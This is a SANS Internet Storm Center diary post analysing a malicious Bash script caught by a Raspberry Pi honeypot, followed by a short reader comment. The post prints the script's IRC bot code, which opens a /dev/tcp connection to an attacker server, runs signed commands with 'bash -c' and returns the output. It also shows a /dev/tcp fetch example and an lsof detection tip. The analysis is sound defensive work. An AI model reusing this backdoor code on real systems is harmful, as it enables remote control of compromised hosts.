Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: Malicious Network Traffic From /bin/bash - SANS Internet Storm Center SANS ISC InfoSec Forums

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
Malicious Network Traffic From /bin/bash

One of our readers from Germany sent me a malicious shell script captured by our honeypot[1] running on his Raspberry.  It's a simple UNIX Bash script that performs a bunch of malicious tasks:

  • Kills existing crypto miner processes (classic action these days)
  • Changes the password of the user 'pi' and adds an SSH key 
  • Changes the DNS resolver configuration and add some DNS blackholes in /etc/hosts (redirecting to
  • Creates an IRC bot
  • Installs extra tools like zmap and sshpass
  • Installs itself in /etc/rc.local for persistence

The script itself is not new, it was already spotted in July 2017 but it looks to be slightly modified and was uploaded recently to VT[2] (current score is 9/59). The most interesting part of the script is the ability to run a simple IRC bot in using Bash commands. No need for a high-level language. Bash has a very interesting feature for years that not many people are aware of. You can generate network flows using standard redirections. By default, a UNIX process has always the following file descriptors available: 0 (/dev/stdin), 1 (/dev/stdout) and 2 (/dev/stderr). You can use them in commands like:

$ echo "Hello world" >/dev/stderr

In the same way, Bash can use /dev/tcp or /dev/udp to generate network flow. The syntax is /dev/<proto>/>host>/>port>.

That's the feature used in the sample. Here is how to create a simple bot (the code has been beautified):

eval 'exec 3<>/dev/tcp/$ircserver/6667;'
if [[ ! "$?" -eq 0 ]] ; then
eval 'printf "NICK $NICK\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
if [[ ! "$?" -eq 0 ]] ; then
# Main loop
while [ true ]; do
    eval "read msg_in <&3;"
    if [[ ! "$?" -eq 0 ]] ; then
    if  [[ "$msg_in" =~ "PING" ]] ; then
        printf "PONG %s\n" "${msg_in:5}";
        eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
        if [[ ! "$?" -eq 0 ]] ; then
        sleep 1
        eval 'printf "JOIN #biret\r\n" >&3;'
        if [[ ! "$?" -eq 0 ]] ; then
    elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
        privmsg_h=$(echo $msg_in| cut -d':' -f 3)
        privmsg_data=$(echo $msg_in| cut -d':' -f 4)
        privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
        hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
        sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

        if [[ "$sign" == "$hash" ]] ; then
            CMD=`echo $privmsg_data | base64 -d -i`
            RES=`bash -c "$CMD" | base64 -w 0`
            eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
            if [[ ! "$?" -eq 0 ]] ; then

The magic line is the first one which created a new file descriptor ('3') that will be used to read/write to the TCP session established with the IRC server on port 6667. The attacker is able to submit commands to the bot via private messages (once authenticated). The result of the command is sent back. 

Be aware that not all Bash binaries have this feature enabled by default (for security reasons). If you want to use this specific feature, you can always recompile a Bash with the following directive '--enable-net-redirections'. This can be helpful in many cases. Example to grab data from a remote server without external tools:

exec 5<> /dev/tcp/
printf "GET / HTTP/1.0\nHost:\n" >&5
cat <&5
exec 5>&-

A simple way to detect this behaviour is to search for network flows generated by /bin/bash processed. Example using lsof[3]:

# lsof -i | grep bash
bash      81084 xavier    5u  IPv4 0x1cbc30b70d8a7879      0t0  TCP> (ESTABLISHED)


Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


383 Posts
ISC Handler
Dont you just love the bourne again shell? Should be the title for the next jason bourne movie honestly. Many thanks for showing me something else this wonderfull shell can do. Do you think something like this could replace nping? And ncat? Im going to try it out.

Sign Up for Free or Log In to start participating in the conversation!